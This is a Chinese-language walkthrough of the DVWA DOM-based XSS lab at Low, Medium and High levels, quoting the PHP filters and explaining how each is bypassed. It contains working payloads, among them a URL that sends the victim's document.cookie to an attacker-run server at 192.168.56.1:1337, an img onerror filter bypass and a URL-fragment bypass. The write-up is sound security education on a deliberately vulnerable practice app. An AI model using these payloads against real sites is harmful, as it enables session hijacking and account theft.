About
Cross Site Scripting(XSS),即跨站脚本攻击,是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。
XSS 的本质其实是一种“HTML”注入,用户的数据被当做 HTML 代码执行,从而混淆了原本的语义,产生了新的语义。
本节展示的是 DOM 型 XSS,它是基于 DOM 文档对象模型的一种漏洞,也是一种特殊的反射型 XSS。
Object
在另一个浏览器运行你的 Javascript 脚本,并窃取用户的登陆状态。
001 Low
该等级下代码没有做任何防护。我们选取下拉菜单,多试几次,发现是 GET 请求,参数在 URL 中传递。我们试一试这个代码:
?default=<script>alert("You've been hacked!")</script>
如果要窃取 Cookie,则输入下列代码即可:
?default=<script>alert(document.cookie)</script>
在贴近实战的环境下,攻击者是如何获得用户的 Cookie 呢?
首先,攻击者在自己的电脑上运行下列代码,以模拟一个 Web 服务器:
python3 -m http.server 1337
然后攻击者会构造一个 URL,并把它发给受害者:
http://vm-debian.me/dvwa/vulnerabilities/xss_d/?default=<script>window.location='http://192.168.56.1:1337/?cookie='+document.cookie</script>
受害者打开一看?这是什么情况?
然而此时攻击者的服务器已经拿到了 Cookie:
002 Medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
该等级下,开发者尝试添加一个简单的模式匹配以移除<script
这一类字符串。但我们可以通过别的方式绕过。
1、尝试双写绕过。输入<sc<script>ript>alert(/111/)</script>
,引发 302 重定向,弹窗失败。
2、尝试大小写绕过。输入<ScRipt>alert(/121/)</script>
,同样引发 302 重定向,弹窗失败。
3、尝试其他标签注入,查阅 Cheat Sheet,可知有<img>
注入示例:
结合网页源代码,先闭合<select>
复选框,然后构造 Payload:
English</select><img src /onerror = alert(document.cookie)>
弹窗成功:
003 High
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
该等级下,开发者在后端严格限制了传入的参数。但我们可以想办法在控制流进入后端之前运行攻击者的恶意代码。
在页面给出的参考文档中,阅读 Advanced Techniques and Derivatives 小节,这里给出了一个新的攻击方法:
http://www.some.site/page.html#default=<script>alert(document.cookie)</script>
我们知道一个前提,浏览器不会把 URL 中#
后面的字符串发送给服务器。#
符号是一个 URI 分片标志,正常情况它可以用做页面内的描点(书签)。
所以我们可以利用#
来构造 Payload,让代码在浏览器端执行:
http://vm-debian.me/dvwa/vulnerabilities/xss_d/#?default=<script>alert(document.cookie)</script>
如果我们进 Brupsuite 看,我们发送的 URL 只要/dvwa/vulnerabilities/xss_d
这么一节:
References
- xss.haozi.me
- DVWA 通关指南:XSS(DOM) - 乌漆WhiteMoon
- 10 - XSS (DOM) (low/med/high)
- Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition